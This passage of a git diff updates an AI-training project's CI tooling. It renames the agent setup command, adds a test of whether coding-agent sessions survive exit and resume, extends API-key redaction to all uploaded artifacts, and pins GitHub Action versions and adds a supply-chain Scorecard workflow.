+      ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true
+      if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then
+        echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}"
+      else
+        echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed"
+      fi
+    fi
+    echo "[$AGENT] resume OK"
     ;;
 
   *)
diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh
index dfab8aec80..daf4bacd3e 100755
--- a/.github/scripts/agent-guides-install.sh
+++ b/.github/scripts/agent-guides-install.sh
@@ -7,7 +7,7 @@
 # is the single biggest source of false reds, so installs retry with
 # backoff and the only ::error:: this script can emit is class (b). The
 # install recipes mirror the install_hint strings in
-# unsloth_cli/commands/connect.py at HEAD.
+# unsloth_cli/commands/start.py at HEAD.
 #
 # Usage: agent-guides-install.sh <agent>
 #   agent in: claude codex hermes openclaw opencode pi
@@ -25,13 +25,14 @@ install_fail() {
 }
 
 # npm registry flakiness is common in CI; retry 3x with linear backoff.
+# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
 npm_retry() {
-  local pkg="$1" i
+  local i
   for i in 1 2 3; do
-    if npm install -g "$pkg" >> "$LOG" 2>&1; then
+    if npm install -g "$@" >> "$LOG" 2>&1; then
       return 0
     fi
-    echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
+    echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
     sleep "$((i * 10))"
   done
   return 1
@@ -60,30 +61,30 @@ curl_bash() {
 echo "[install] agent=$AGENT (log=$LOG)"
 case "$AGENT" in
   claude)
-    # connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
+    # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
     curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
     # The installer drops the binary under ~/.local/bin.
     echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     ;;
   codex)
-    # connect.py install_hint: npm install -g @openai/codex
+    # start.py install_hint: npm install -g @openai/codex
     npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
     ;;
   opencode)
-    # connect.py install_hint: npm install -g opencode-ai
+    # start.py install_hint: npm install -g opencode-ai
     npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
     ;;
   openclaw)
-    # connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
+    # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
     # npm is the more deterministic path in CI and matches the agent's docs;
-    # fall back to the connect.py curl installer if the npm tag is missing.
+    # fall back to the start.py curl installer if the npm tag is missing.
     if ! npm_retry "openclaw@latest"; then
       curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
       echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     fi
     ;;
   hermes)
-    # connect.py install_hint:
+    # start.py install_hint:
     #   curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
     curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
       --non-interactive --skip-setup --skip-browser --no-skills \
@@ -91,11 +92,13 @@ case "$AGENT" in
     echo "$HOME/.local/bin" >> "$GITHUB_PATH"
     ;;
   pi)
-    # No connect.py recipe; the agent's documented package name. The CLI moved
-    # from the now-deprecated @mariozechner scope to @earendil-works (the old
-    # scope is frozen, so installing it would test a stale Pi against the API).
-    npm_retry "@earendil-works/pi-coding-agent" \
-      || install_fail "npm install -g @earendil-works/pi-coding-agent failed"
+    # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
+    # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
+    # catches guide drift). The CLI moved from the now-deprecated @mariozechner
+    # scope to @earendil-works (the old scope is frozen, so installing it would
+    # test a stale Pi against the API).
+    npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
+      || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
     ;;
   *)
     install_fail "unknown agent '$AGENT'"
diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh
index 34b8b962c6..6ac98ded7c 100755
--- a/.github/scripts/serve-unsloth-run.sh
+++ b/.github/scripts/serve-unsloth-run.sh
@@ -27,7 +27,7 @@
 #
 # Outputs written to $GITHUB_ENV (and echoed):
 #   UNSLOTH_API_KEY        the sk-unsloth-* key minted on the banner
-#   UNSLOTH_STUDIO_URL     http://127.0.0.1:<PORT>  (so `unsloth connect`
+#   UNSLOTH_STUDIO_URL     http://127.0.0.1:<PORT>  (so `unsloth start`
 #                          finds THIS server, not the hardcoded :8888)
 #   UNSLOTH_BASE_URL       same as UNSLOTH_STUDIO_URL (alias for clarity)
 #   UNSLOTH_MODEL_ID       the canonical id reported by /v1/models
diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index 7978a200c0..fa84471d36 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -272,6 +272,7 @@ jobs:
             tests/saving/test_export_api_surface.py \
             tests/saving/test_export_dispatch.py \
             tests/saving/test_imatrix_export.py \
+            tests/saving/test_gguf_single_pass_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py
@@ -361,9 +362,13 @@ jobs:
             tests/saving/test_export_api_surface.py \
             tests/saving/test_export_dispatch.py \
             tests/saving/test_imatrix_export.py \
+            tests/saving/test_gguf_single_pass_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py \
+            tests/test_bad_mappings_redirect.py \
+            tests/test_prefetch_snapshot_scope.py \
+            tests/test_gemma_2b_mapper_key.py \
             --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
           # The deselected test monkeypatches flash_attn_varlen_func, which is
           # only bound on the module when `flash_attn` is importable. flash_attn
diff --git a/.github/workflows/cross-platform-parity-ci.yml b/.github/workflows/cross-platform-parity-ci.yml
index 4632794587..bb7dcbf8e4 100644
--- a/.github/workflows/cross-platform-parity-ci.yml
+++ b/.github/workflows/cross-platform-parity-ci.yml
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# Runs tests/python/test_cross_platform_parity.py on Windows and macOS.
+# Runs installer parity and autostart opt-out tests on Windows and macOS.
 #
 # Why: that test is the guard that install.sh and install.ps1 stay in
 # sync, but today it only runs on ubuntu-latest (auto-discovered by
@@ -21,6 +21,7 @@ on:
     paths:
       - 'install.sh'
       - 'install.ps1'
+      - 'tests/test_installer_skip_autostart.py'
       - 'tests/python/test_cross_platform_parity.py'
       - '.github/workflows/cross-platform-parity-ci.yml'
   push:
@@ -28,6 +29,7 @@ on:
     paths:
       - 'install.sh'
       - 'install.ps1'
+      - 'tests/test_installer_skip_autostart.py'
       - 'tests/python/test_cross_platform_parity.py'
       - '.github/workflows/cross-platform-parity-ci.yml'
   workflow_dispatch:
@@ -57,5 +59,11 @@ jobs:
           python-version: '3.12'
           cache: 'pip'
       - run: python -m pip install -U pip pytest
-      - name: Cross-platform parity test
-        run: python -m pytest tests/python/test_cross_platform_parity.py -q
+      - name: Cross-platform parity tests
+        env:
+          UNSLOTH_NO_TORCH: '1'
+        run: >-
+          python -m pytest
+          tests/python/test_cross_platform_parity.py
+          tests/test_installer_skip_autostart.py
+          -q
diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
index 299ee3f18b..25796bd5cf 100644
--- a/.github/workflows/local-agent-guides-ci.yml
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -6,29 +6,27 @@
 # Detects when our local-agent setup recipes drift out of sync with
 # `unsloth run`. Boots a real `unsloth run --disable-tools` server and
 # drives the coding agents end to end through the *exact* recipes defined
-# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there
-# is no docs/ tree). Wherever connect.py has a recipe we drive the agent
-# via `unsloth connect <agent> --no-launch` and execute what it prints, so
-# the test self-updates against connect.py and catches silent recipe drift.
+# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
+# is no docs/ tree). Wherever start.py has a recipe we drive the agent
+# via `unsloth start <agent> --no-launch` and execute what it prints, so
+# the test self-updates against start.py and catches silent recipe drift.
 #
 # Source-of-truth files this workflow guards:
-#   unsloth_cli/commands/connect.py   the `unsloth connect <agent>` recipes
+#   unsloth_cli/commands/start.py   the `unsloth start <agent>` recipes
 #   unsloth_cli/commands/studio.py    the `unsloth run` banner (API Key line)
 #
 # Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
-# + the connect.py location, so a red X is immediately triageable):
+# + the start.py location, so a red X is immediately triageable):
 #   (a) Unsloth server/API regression -- the dialect HTTP preflight fails
 #       BEFORE the agent runs (or the server never becomes healthy).
 #   (b) Agent package install failed   -- npm/curl install of the CLI failed.
 #   (c) Guide drift                    -- preflight passed + install ok, but
-#       the documented `unsloth connect` flow produced no/garbled output.
+#       the documented `unsloth start` flow produced no/garbled output.
 #
 # Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
-#   - claude/codex/hermes/openclaw/opencode have a connect.py recipe.
-#   - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is
-#     driven by a hand-written recipe and the matrix cell asserts that the
-#     missing connect recipe is the (known) reason, so the day connect.py
-#     grows a `pi` command this cell flips to the self-updating path.
+#   - All six have a `unsloth start <agent>` recipe, so each cell obtains its
+#     env + command from `unsloth start <agent> --no-launch` and runs THAT
+#     (self-updating: a recipe change is exercised automatically).
 
 name: Local Agent Guides CI
 
@@ -83,7 +81,7 @@ jobs:
   # ═════════════════════════════════════════════════════════════════════
   # Job 1: connection
   #   Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
-  #   install the agent, run `unsloth connect <agent> --no-launch`, execute
+  #   install the agent, run `unsloth start <agent> --no-launch`, execute
   #   the emitted recipe with a trivial prompt, assert a non-empty reply.
   #   Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
   #   it serves exactly one model on its own port.
@@ -103,7 +101,9 @@ jobs:
     env:
       # gemma-4-E4B (128K context, capable enough to drive every agent for a
       # trivial reply; the 270m model produced empty/failed responses for
-      # codex/openclaw and is below hermes' 64K context floor). Served as a flat
+      # codex/openclaw). Hermes' 64K context floor no longer constrains the model
+      # choice: write_hermes_config claims the floor for smaller windows and
+      # scales compaction back to the real window. Served as a flat
       # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
       GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
       GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
@@ -209,7 +209,7 @@ jobs:
               ;;
             *)
               # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
-              # OpenClaw's connect.py recipe writes an "openai-completions"
+              # OpenClaw's start.py recipe writes an "openai-completions"
               # provider (write_openclaw_config), so it uses this path, not
               # /v1/messages.
               code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
@@ -227,13 +227,13 @@ jobs:
           AGENT: ${{ matrix.agent }}
         run: bash .github/scripts/agent-guides-install.sh "$AGENT"
 
-      # ── (c) drive the agent via connect.py and assert a reply ──────────
-      # For the 5 agents with a connect.py recipe we run
-      # `unsloth connect <agent> --no-launch`, eval its env/unset exports,
+      # ── (c) drive the agent via start.py and assert a reply ──────────
+      # For the 5 agents with a start.py recipe we run
+      # `unsloth start <agent> --no-launch`, eval its env/unset exports,
       # then run the printed command with a hard timeout (no headless-TTY
       # hang). Pi has no connect recipe, so it is driven by hand and the
       # cell asserts that absence is the (known) reason.
-      - name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation)
+      - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
         env:
           AGENT: ${{ matrix.agent }}
         run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
@@ -248,8 +248,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
@@ -438,8 +440,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
@@ -467,6 +471,176 @@ jobs:
             redacted-configs/
           retention-days: 7
 
+  # ═════════════════════════════════════════════════════════════════════
+  # Job: resume
+  #   Does a conversation started with `unsloth start <agent>` survive exit
+  #   and resume? This drives the REAL launch path (not the --no-launch
+  #   recipe the other jobs use). A plain launch relocates the agent home to
+  #   a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the
+  #   session to the stable Unsloth agents dir so it persists. opencode/claude
+  #   keep their session data in a fixed user dir, so they persist either way.
+  #   Dispatch-only: it is an end-to-end experiment, not a PR gate.
+  # ═════════════════════════════════════════════════════════════════════
+  resume:
+    name: resume (${{ matrix.agent }})
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 60
+    strategy:
+      fail-fast: false
+      matrix:
+        # codex/pi relocate their whole home (resume broken without --persist);
+        # opencode/claude keep session data in a fixed dir (resume already works).
+        # One agent from each class proves the split end to end; openclaw/hermes
+        # share codex's relocation mechanism and are covered by the unit tests.
+        agent: [codex, opencode, claude, pi]
+    env:
+      GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
+      GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
+      STUDIO_PORT: '18904'
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Linux deps for llama.cpp prebuilt
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y --no-install-recommends \
+            libcurl4-openssl-dev libssl-dev jq
+
+      - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
+        with:
+          node-version: '22'
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+
+      - name: Restore GGUF model file
+        id: cache-gguf
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        continue-on-error: true
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Download GGUF if cache miss
+        id: download-gguf
+        if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
+        env:
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          python -m pip install --upgrade huggingface_hub
+          mkdir -p gguf-cache
+          bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
+
+      - name: Save GGUF model file
+        if: always() && steps.download-gguf.outcome == 'success'
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Install Studio (--local, --no-torch)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          mkdir -p logs
+          set -o pipefail
+          bash install.sh --local --no-torch 2>&1 | tee logs/install.log
+
+      - name: Serve unsloth run --disable-tools (gemma-4-E4B)
+        run: |
+          unsloth studio reset-password
+          bash .github/scripts/serve-unsloth-run.sh \
+            --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
+            --port "$STUDIO_PORT" --log-dir logs \
+            --extra "--seed $UNSLOTH_SEED --temp 0" \
+            --health-timeout 900
+
+      - name: Preflight the agent's API dialect (class-a isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: |
+          set -uo pipefail
+          B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
+          preflight_fail() {
+            echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**.";
+            exit 1
+          }
+          code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
+            -H "Authorization: Bearer $K") || true
+          [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
+          case "$AGENT" in
+            claude)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
+              ;;
+            codex)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
+              ;;
+            *)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
+              ;;
+          esac
+          echo "preflight OK for $AGENT"
+
+      - name: Install agent CLI (class-b isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-install.sh "$AGENT"
+
+      - name: Resume experiment (launch path)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT"
+
+      - name: Collect server logs (debug)
+        if: always()
+        run: |
+          mkdir -p logs/studio-logs
+          cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
+          if [ -n "${UNSLOTH_API_KEY:-}" ]; then
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
+              sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
+            done
+          fi
+
+      - name: Stop Studio
+        if: always()
+        run: |
+          if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
+            kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
+          fi
+          sleep 2
+          ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
+
+      - name: Upload logs
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
+        with:
+          name: resume-${{ matrix.agent }}-log
+          path: |
+            logs/
+            agent-workdir/
+            redacted-configs/
+          retention-days: 7
+
   # ═════════════════════════════════════════════════════════════════════
   # Job 3: prompt-cache
   #   (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0
@@ -582,8 +756,10 @@ jobs:
           # `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
           # step publishes all of logs/, so scrubbing only studio-logs would leak
           # the bearer token in the retained artifact.
+          # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
+          # agent-workdir/ are published by the same upload step.
           if [ -n "${UNSLOTH_API_KEY:-}" ]; then
-            grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
+            grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
               sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
             done
           fi
diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml
index 9c28e21672..aaf258d615 100644
--- a/.github/workflows/lockfile-audit.yml
+++ b/.github/workflows/lockfile-audit.yml
@@ -60,11 +60,11 @@ jobs:
     runs-on: ubuntu-latest
     timeout-minutes: 5
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0  # v7.0.0
         with:
           persist-credentials: false
 
-      - uses: actions/setup-python@v5
+      - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1  # v6.3.0
         with:
           python-version: '3.12'
 
diff --git a/.github/workflows/ossf.yml b/.github/workflows/ossf.yml
new file mode 100644
index 0000000000..f9a270540f
--- /dev/null
+++ b/.github/workflows/ossf.yml
@@ -0,0 +1,78 @@
+# This workflow uses actions that are not certified by GitHub. They are provided
+# by a third-party and are governed by separate terms of service, privacy
+# policy, and support documentation.
+
+name: Scorecard supply-chain security
+on:
+  # For Branch-Protection check. Only the default branch is supported. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
+  branch_protection_rule:
+  # To guarantee Maintained check is occasionally updated. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
+  schedule:
+    - cron: '21 20 * * 0'
+  push:
+    branches: [ "main" ]
+
+# Declare default permissions as read only.
+permissions: read-all
+
+jobs:
+  analysis:
+    name: Scorecard analysis
+    runs-on: ubuntu-latest
+    # `publish_results: true` only works when run from the default branch. conditional can be removed if disabled.
+    if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request'
+    permissions:
+      # Needed to upload the results to code-scanning dashboard.
+      security-events: write
+      # Needed to publish results and get a badge (see publish_results below).
+      id-token: write
+      # Uncomment the permissions below if installing in a private repository.
+      # contents: read
+      # actions: read
+
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          persist-credentials: false
+
+      - name: "Run analysis"
+        uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1
+        with:
+          results_file: results.sarif
+          results_format: sarif
+          # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
+          # - you want to enable the Branch-Protection check on a *public* repository, or
+          # - you are installing Scorecard on a *private* repository
+          # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional.
+          # repo_token: ${{ secrets.SCORECARD_TOKEN }}
+
+          # Public repositories:
+          #   - Publish results to OpenSSF REST API for easy access by consumers
+          #   - Allows the repository to include the Scorecard badge.
+          #   - See https://github.com/ossf/scorecard-action#publishing-results.
+          # For private repositories:
+          #   - `publish_results` will always be set to `false`, regardless
+          #     of the value entered here.
+          publish_results: true
+
+          # (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore
+          # file_mode: git
+
+      # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
+      # format to the repository Actions tab.
+      - name: "Upload artifact"
+        uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1
+        with:
+          name: SARIF file
+          path: results.sarif
+          retention-days: 5
+
+      # Upload the results to GitHub's code scanning dashboard (optional).
+      # Commenting out will disable upload of results to your repo's Code Scanning dashboard
+      - name: "Upload to code-scanning"
+        uses: github/codeql-action/upload-sarif@v3
+        with:
+          sarif_file: results.sarif
diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml
index 188e078f90..4daafae35d 100644
--- a/.github/workflows/release-desktop.yml
+++ b/.github/workflows/release-desktop.yml
@@ -19,6 +19,19 @@ on:
 permissions:
   contents: read
 
+env:
+  DESKTOP_RELEASE_NOTES: |
+    Desktop app for Unsloth Studio.
+
+    **macOS**: Download the Apple Silicon `.dmg`.
+    **Windows**: Download the `-setup.exe` installer.
+    **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
+
+    > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
+    > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
+    > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
+    > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
+
 concurrency:
   group: release-desktop-${{ github.repository }}
   cancel-in-progress: false
@@ -295,14 +308,6 @@ jobs:
           PY
 
   build:
-    # TODO: split into a "build (no secrets)" + "publish (secrets)" job pair
-    # with actions/upload-artifact handoff so the matrix build cannot
-    # publish a Release on its own. The current matrix runs across
-    # Linux/macOS/Windows in a single job, so the split needs artefact
-    # collection across the OS matrix and is out of scope for this
-    # hardening pass.
-    permissions:
-      contents: write  # tauri-apps/tauri-action creates / uploads a GitHub Release
     strategy:
       fail-fast: false
       max-parallel: 1
@@ -311,15 +316,21 @@ jobs:
           - platform: macos-latest
             args: '--target aarch64-apple-darwin'
             label: macOS (Apple Silicon)
+            artifact: macos-aarch64
+            release_arch: aarch64
           # - platform: macos-latest
           #   args: '--target x86_64-apple-darwin'
           #   label: macOS (Intel)
           - platform: ubuntu-22.04
             args: ''
             label: Linux (x64)
+            artifact: linux-x64
+            release_arch: x64
           - platform: windows-latest
             args: ''
             label: Windows (x64)
+            artifact: windows-x64
+            release_arch: x64
 
     name: Build ${{ matrix.label }}
     needs: prepare-version
@@ -465,41 +476,18 @@ jobs:
           if (chmodIdx !== -1 && sha256Idx > chmodIdx) {
             throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x');
           }
-          const releaseBodies = [];
-          for (let i = 0; i < lines.length; i += 1) {
-            const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
-            if (!match) continue;
-            const baseIndent = match[1].length;
-            const bodyLines = [];
-            i += 1;
-            for (; i < lines.length; i += 1) {
-              const line = lines[i];
-              if (line.trim() === '') {
-                bodyLines.push('');
-                continue;
-              }
-              const indent = line.match(/^\s*/)[0].length;
-              if (indent <= baseIndent) {
-                i -= 1;
-                break;
-              }
-              bodyLines.push(line.slice(baseIndent + 2));
-            }
-            releaseBodies.push(bodyLines.join('\n'));
+          const releaseBody = process.env.DESKTOP_RELEASE_NOTES;
+          if (!releaseBody) {
+            throw new Error('DESKTOP_RELEASE_NOTES must not be empty');
           }
-          if (releaseBodies.length === 0) {
-            throw new Error('Expected at least one desktop release body');
+          if (/\brpm\b|\.rpm/i.test(releaseBody)) {
+            throw new Error('Desktop release body must not advertise RPM packages');
           }
-          for (const body of releaseBodies) {
-            if (/\brpm\b|\.rpm/i.test(body)) {
-              throw new Error('Desktop release body must not advertise RPM packages');
-            }
-            if (/AppImage.*universal|universal.*AppImage/i.test(body)) {
-              throw new Error('Desktop release body must not advertise AppImage as universal');
-            }
-            if (!/AppImage.*experimental/i.test(body)) {
-              throw new Error('Desktop release body must mark AppImage as experimental');
-            }
+          if (/AppImage.*universal|universal.*AppImage/i.test(releaseBody)) {
+            throw new Error('Desktop release body must not advertise AppImage as universal');
+          }
+          if (!/AppImage.*experimental/i.test(releaseBody)) {
+            throw new Error('Desktop release body must mark AppImage as experimental');
           }
           JS
 
@@ -644,48 +632,33 @@ jobs:
           dest="$tools_dir/linuxdeploy-x86_64.AppImage"
           curl -fsSL "$LINUXDEPLOY_URL" -o "$dest"
           # Verify the digest BEFORE the binary is ever marked executable. The
-          # next step builds the AppImage with the Tauri signing key and a
-          # contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy
-          # that ran here could exfiltrate signing material or tamper with
-          # published release artifacts. Fail closed on any mismatch.
+          # next step builds the AppImage with the Tauri signing key, so a
+          # substituted linuxdeploy that ran here could exfiltrate signing
+          # material or tamper with release artifacts. Fail closed on any
+          # mismatch.
           echo "${LINUXDEPLOY_SHA256}  ${dest}" | sha256sum -c -
           chmod +x "$dest"
 
-      # ── Linux: build + sign + upload ──
+      # ── Linux: build + sign ──
       - name: Build Linux app
+        id: build_linux
         if: matrix.platform == 'ubuntu-22.04'
         uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
